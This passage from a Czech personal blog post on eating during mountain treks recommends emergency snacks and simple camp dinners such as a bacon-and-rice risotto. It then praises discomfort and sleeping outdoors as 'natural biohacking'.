Vždy ale myslete na to, že je dobré mít nějakou pojistku a znát své tělo – nikdy nevíte, kde zabloudíte, nachodíte víc, než jste si mysleli, prochladnete, nebo se dostanete do stresové situace (to se stane raz dva) a hlad nebo vyčerpání se dostaví. Pak je potřeba mít vždy po ruce řešení v podobě nějakého jídla a zůstat na straně bezpečnosti! Obecně také platí, že čím intenzivnější trek je, tím méně vám bude zažívání fungovat, a tak je dobré mít po ruce lehce stravitelné potraviny (proteinové a sacharidové tyčinky, zmíněné ovoce, nebo klidně energetický gel jako záchranu).

Večeře je základ dne

Večeře je vždycky to hlavní jídlo – po celém dni mám navíc konečně pocit, že si jí zasloužím a je pak celkem jedno, z čeho je – musí vám hlavně chutnat a zasytit vás. Netvrdím, že je dobré do sebe cpát polotovary toho nejtěžšího kalibru, ale za těch pár dní se jednak svět nezboří a za druhé, pokud jste relativně zdraví a neřešíte žádné závažnější nebo chronické obtíže, to po té celodenní námaze ani nezpozorujete.

Navíc existuje mnoho způsobů jak se i na několikadenním přechodu hor najíst celkem normálně – sama jsem zastáncem minimalismu v podobě cibule, česneku, špeku a rýže. Může se Vám to zdát jednotvárné, ale když to pak ještě doplníte o tvrdý sýr, máte na světě dokonalé rizoto, které věřte mi, chutná tisíckrát lépe, než kdybyste si ho dělali doma. Když pak sem tam najedete nějaké houby, medvědí česnek, nebo si ulovíte jelena, dostane to ještě větší grády.

Pokud navíc přebýváte na jednom místě odkud vyrážíte každé ráno, doporučuji zaměřit se hlavně na lokální kuchyni.

Další tipy, jak jíst na horských přechodech, jak si dobře zabalit, jak se dobře vyspat, nebo na co všechno si dát pozor, by vydaly na celou knihu nebo X dalších článků a jejich místo je spíš na úplně jiných webech. Navíc mnoho z vás jistě do hor chodí, a tak dobře víte, jako jsou hlavní zásady a už jste jistě nalezli vlastní styl. Jak ale asi tušíte, vždy je možné váš zážitek v horách posunout o úroveň výš a udělat z něj nejen dobrodružství, ale také prostředek očisty těla i mysli a dokonalý způsob, jak zregenerovat na další etapu pracovního života ve městě. A jde to i přes to, že v horách často podáte větší fyzický výkon), než jaký podáváte po zbytek roku, a podstupujete velké nepohodlí.

Nepohodlí a vyvedení z komfortní zóny je ale velmi relativní stav a dle mého názoru se jedná o nejúčinnější metodu, jak zlepšovat své zdraví. Tyto metody by šlo nazvat jako naturální biohacking – byť to zní jakkoli nadneseně, ruku na srdce – v dnešní době si komfortu užíváme vrchovatě a mnohdy zapomínáme, co to vlastně znamená spojení s přírodou. Pokud jste tedy ryze „městský typ“ člověka a zapomněli jste, co to je vystavení běžným povětrnostním podmínkám, nebo chůze na boso, vůbec neotálejte s jejich zpětným zařazením do života.

Trocha toho přirozeného stresu, spaní na zemi pod hvězdami tak může přinést daleko větší léčení a ve výsledku i odpočinek, než spaní doma v teple v měkké posteli.

Jana